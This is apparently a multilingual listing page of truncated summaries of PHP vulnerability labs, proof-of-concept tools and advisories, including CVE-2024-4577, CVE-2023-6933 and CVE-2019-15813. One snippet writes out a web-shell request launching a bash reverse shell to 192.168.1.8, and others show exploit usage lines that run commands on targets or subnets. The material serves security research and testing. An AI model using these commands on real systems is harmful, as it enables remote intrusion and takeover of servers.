vulnerable-bsr-lab-CVE-2023-6933

CVE-2023-6933 脆弱性ラボ 概要 このラボ環境は、Better Search Replace WordPress プラグイン（バージョン ≤1.4.4）における重大な PHP オブジェクトインジェクション脆弱性 CVE-2023-6933 を実演します。 脆弱性の詳細 CVE ID : CVE-2023-6933 CVSS スコア : 9.8（緊急） 影響を受けるプラグイン : Better Search Replace ≤1.4.4 脆弱性タイプ : 非シリアル化されたユーザー入力による PHP オブジェクトインジェクション 攻撃ベクトル : AJAX エンドポイント...

CVE-2019-15813

CVE-2019-15813 此容器用于解释并演示 CVE-2019-15813（Sentrifugo 的工作原理） Sentrifugo V3.2 Sentrifugo 是一个人力资源管理系统 如何安装 docker-compose up 默认测试凭据 ----超级管理员---- 用户名：empp0001 密码：5faa7bdf3d7af ---员工---- 用户名：EMPP123 密码：bygedupub --反向 PHP Shell-- 解压 resume.zip（因 Windows Defender 可能删除该文件而打包） 编辑 IP 地址和端口...

CVE-2026-92298

EspoCRM through 10.0.8 uses PHP's rand function to generate tokens for lead-capture opt-in, event invitation, and campaign URLs instead of a cryptographically secure generator. Remote unauthenticated attackers can guess these roughly 31-bit tokens to confirm opt-ins, accept or decline event...

juniper-rce_cve-2023-36844

CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 Una Prueba de Concepto para el encadenamiento de los CVEs CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 desarrollada por @watchTowr para lograr Ejecución Remota de Código en Juniper JunOS en productos de las series...

CVE-2024-4577

CVE-2024-4577 由 @watchTowr 开发的概念验证，利用 PHP CGI 参数注入漏洞（CVE-2024-4577），在运行于 Windows 环境中的易受攻击的 PHP 版本上实现 RCE。此漏洞的详细技术分析 Orange Tsi 🍊 此漏洞由 DEVCORE @d3vc0r3 的 Orange Tsai @orange8361 发现。请务必关注他的杰出研究，我们的角色仅是复现并为此漏洞开发利用程序。 PoC || GTFO root@kitploit: python watchTowr-vs-phpcve-2024-4577.py -c "" -t...

CVE-2026-92298 EspoCRM through 10.0.8 Weak Token Generation via rand()

EspoCRM through 10.0.8 uses PHP's rand function to generate tokens for lead-capture opt-in, event invitation, and campaign URLs instead of a cryptographically secure generator. Remote unauthenticated attackers can guess these roughly 31-bit tokens to confirm opt-ins, accept or decline event...

CVE-2026-92298

EspoCRM through 10.0.8 uses PHP's rand() function to generate tokens for lead-capture opt-in, event invitation, and campaign URLs instead of a cryptographically secure generator. The tokens are roughly 31-bit , allowing remote unauthenticated attackers to guess them and confirm opt-ins, accept or...

EUVD-2026-80078

EspoCRM through 10.0.8 uses PHP's rand function to generate tokens for lead-capture opt-in, event invitation, and campaign URLs instead of a cryptographically secure generator. Remote unauthenticated attackers can guess these roughly 31-bit tokens to confirm opt-ins, accept or decline event...

CVE-2026-92298 EspoCRM through 10.0.8 Weak Token Generation via rand()

EspoCRM through 10.0.8 uses PHP's rand function to generate tokens for lead-capture opt-in, event invitation, and campaign URLs instead of a cryptographically secure generator. Remote unauthenticated attackers can guess these roughly 31-bit tokens to confirm opt-ins, accept or decline event...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip 密码:...

php-cgi-cve-2024-4577

php-cgi-cve-2024-4577 php-cgi-cve-2024-4577 Vulnerabilidad de ejecución remota de código que ocurre en el modo CGI de PHP registrada en la detección de eventos de inyección de argumentos PHP-CGI CVE-2024-4577 desde IP externa hacia servidor interno. Cuando PHP se ejecuta en modo CGI en un entorno...

CVE-2024-4577_PowerShell

CVE-2024-4577PowerShell 請注意： 請確保您已被授權在目標環境中進行此類滲透測試，未經授權使用攻擊技術可能違反相關法律。 程式僅供教育和研究目的，請在合法和道德的範圍內使用。 如果您不了解滲透測試可能帶來的後果，建議聘請紅隊專家來進行測試。 說明 一開始先設定無視網頁憑證檢查 root@kitploit: System.Net.ServicePointManager::ServerCertificateValidationCallback = $true 主要攻擊 Payload root@kitploit: $url =...

CVE-2019-11043

1）公式アップデート通知： https://bugs.php.net/bug.php?id=78599 2）オープンソースコミュニティ紹介： https://github.com/neex/phuip-fpizdam/...

exploit-CVE-2015-3306

ProFTPd 1.3.5 - modcopy 远程命令执行 ProFTPD 是一个高度可配置的 FTP 守护进程，适用于 Unix 及类 Unix 操作系统。ProFTPD 源于对安全且可配置的 FTP 服务器的需求，其灵感来自对 Apache Web 服务器的极大推崇。与大多数其他 Unix FTP 服务器不同，它并非源自旧的 BSD ftpd 代码库，而是全新的设计与实现。 脆弱环境 要为你的测试搭建一个脆弱环境，你需要安装 Docker，然后运行以下命令： root@kitploit: docker build -t vuln/cve-2015-3306 . docker run...

HeimShell

HeimShell CVE-2023-51803 HeimShell 是针对 CVE-2023-51803 的漏洞利用工具，利用了 LinuxServer.io Heimdall（≤ 2.5.6）中的任意文件上传漏洞。它会自动检测目标版本，并提示可利用性，或通过 SHELLURL 远程获取 PHP shell。 ≤ 2.2.2 : 存在任意文件上传漏洞，但文件以静态方式提供，且不会被远程获取 URL ≥ 2.2.3 & ≤ 2.5.6: 通过图标 URL 上传远程获取 PHP shell 版本检查: 获取 /settings 并解析版本字段，以确认存在任意上传能力。 CSRF 令牌获取:...

Fedora 44 : php-pecl-mongodb2 (2026-358d3ccdfe)

The remote Fedora 44 host has a package installed that is affected by a vulnerability as referenced in the FEDORA-2026-358d3ccdfe advisory. Version 2.1.9 - PHPC-2744 Fix out-of-bounds read when building BSON field path by @paulinevos & @GromNaN in 2081 CVE-2026-84968 Tenable has extracted the...

cve-2023-30212

cve-2023-30212 使用 Docker 的 CVE-2023-30212 PoC CVE-2023-30212 环境搭建及 PoC 报告 📌 概述 本报告针对 Vulhub 中未收录的 CVE-2023-30212 漏洞，自行搭建基于 Docker 的易受攻击的 Web 环境，并通过 PoC 验证该漏洞。 CVE 编号 : CVE-2023-30212 漏洞描述 : 存在通过 PHP LFILocal File Inclusion 实现远程代码执行的可能性 难度 : 高级 搭建 Vulhub 中不存在的环境 🔧 环境搭建 1. Dockerfile 与...

CVE-2024-4577

CVE-2024-4577 root@kitploit: usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments:...

CVE-2022-31629-poc

CVE-2022-31629 poc PHP Bug report 如何测试 安装 root@kitploit: git clone https://github.com/SilNex/CVE-2022-31629-poc cd ./CVE-2022-31629-poc docker-compose up -d 测试 https://localhost:8110 : v8.1.10 https://localhost:8111 : v8.1.11 Chrome HSTS 问题 在 HSTS 错误页面输入 thisisunsafe 即可。...

CVE-2024-29895

CVE-2024-29895 Cacti CVE-2024-29895 概念验证 一个命令注入漏洞，当PHP的registerargcargv选项开启时，允许任何未经认证的用户在服务器上执行任意命令。 https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m 用法：app -m http://site.com/ -c whoami 或者：app -w urllist.txt -c whoami 或者：app -r 192.168.1.0/24 -c whoami...